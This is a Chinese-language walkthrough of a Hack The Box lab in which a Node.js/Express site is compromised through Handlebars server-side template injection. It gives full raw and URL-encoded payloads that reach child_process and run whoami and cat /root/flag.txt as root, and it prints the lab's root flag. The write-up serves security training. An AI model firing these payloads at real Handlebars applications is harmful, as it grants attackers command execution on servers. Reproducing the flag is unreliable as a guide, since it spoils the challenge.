目录
[1.What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.](#1.What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.)
[2.What software is running the service listening on the http/web port identified in the first question?](#2.What software is running the service listening on the http/web port identified in the first question?)
[3.What is the name of the Web Framework according to Wappalyzer?](#3.What is the name of the Web Framework according to Wappalyzer?)
[4.What is the name of the vulnerability we test for by submitting {{7*7}}?](#4.What is the name of the vulnerability we test for by submitting {{7*7}}?)
[5.What is the templating engine being used within Node.JS?](#5.What is the templating engine being used within Node.JS?)
[6.What is the name of the BurpSuite tab used to encode text?](#6.What is the name of the BurpSuite tab used to encode text?)
[7.In order to send special characters in our payload in an HTTP request, we'll encode the payload. What type of encoding do we use?](#7.In order to send special characters in our payload in an HTTP request, we'll encode the payload. What type of encoding do we use?)
[8.When we use a payload from HackTricks to try to run system commands, we get an error back. What is "not defined" in the response error?](#8.When we use a payload from HackTricks to try to run system commands, we get an error back. What is "not defined" in the response error?)
[9.What variable is traditionally the name of the top-level scope in the browser context, but not in Node.JS?](#9.What variable is traditionally the name of the top-level scope in the browser context, but not in Node.JS?)
[10.By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?](#10.By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?)
ROOT_FLAG:6b258d726d287462d60c103d0142a81c
连接至HTB服务器并启动靶机
靶机IP:10.129.122.36
分配IP:10.10.16.12
1.What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high.
使用fscan对靶机进行端口扫描:
fscan -nopoc -nobr -np -no -h {TARGET_IP}
由fscan扫描结果可见,靶机开启了:22,80 共2个端口
2.What software is running the service listening on the http/web port identified in the first question?
使用nmap 对靶机开放的80端口进行服务信息扫描:
nmap -sV -p 80 {TARGET_IP}
由nmap 扫描结果可见,VERSION 栏目下的服务信息:Node.js
3.What is the name of the Web Framework according to Wappalyzer?
使用浏览器访问靶机URL,打开Wappalyzer插件查看页面技术栈:
通过Wappalyzer展示结果可见,Web所用框架为:Express
4.What is the name of the vulnerability we test for by submitting {{7*7}}?
我们尝试在E-mail输入框中输入payload:{{7*7}}
虽然没有执行预期命令,但是成功输出了一些预期外的报错
这种漏洞名为:SSTI 即服务器端模板注入(Server Side Template Injection)
5.What is the templating engine being used within Node.JS?
从报错信息中,我们可以看出Node.JS正在使用模板:Handlebars
6.What is the name of the BurpSuite tab used to encode text?
打开Kali自带的BurpSuite 可见用于编解码的选项卡:Decoder
7.In order to send special characters in our payload in an HTTP request, we'll encode the payload. What type of encoding do we use?
将下面的payload进行一遍URL编码:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URL编码后的payload:
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%77%68%6f%61%6d%69%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d
8.When we use a payload from HackTricks to try to run system commands, we get an error back. What is "not defined" in the response error?
直接点击Send发包,回显为:require is not defined
require 是 JavaScript 中的一个关键字,之所以会出现require is not defined,是因为它主要用于从其他模块或文件加载代码的关键字,但因为在模板引擎里require通常跑在sandbox里,这样就很有可能限制了reqiure加载模块
9.What variable is traditionally the name of the top-level scope in the browser context, but not in Node.JS?
接下来尝试使用全局对象process 中的mainMoudle 主模块,再调用其中的require 创建一个子进程执行外部命令。通过**.execSync()**方法,同步外部命令,尝试绕过sandbox限制
其中gloabl代表着Node.JS中的全局变量。
再次将下面的payload进行一遍URL编码:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
10.By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user?
URL编码后的payload:
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%77%68%6f%61%6d%69%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d
对email值进行填充payload后进行发包:
通过执行whoami的回显可见,当前用户是:root
接下来对下列这一行代码中的whoami进行修改
process.mainModule.require('child_process').execSync('whoami');"}}
修改成查看flag.txt文件内容:
process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}
再次将payload转换为URL编码:
转后为URL编码后的payload:
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%63%61%74%20%2f%72%6f%6f%74%2f%66%6c%61%67%2e%74%78%74%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d
点击Send开始发包: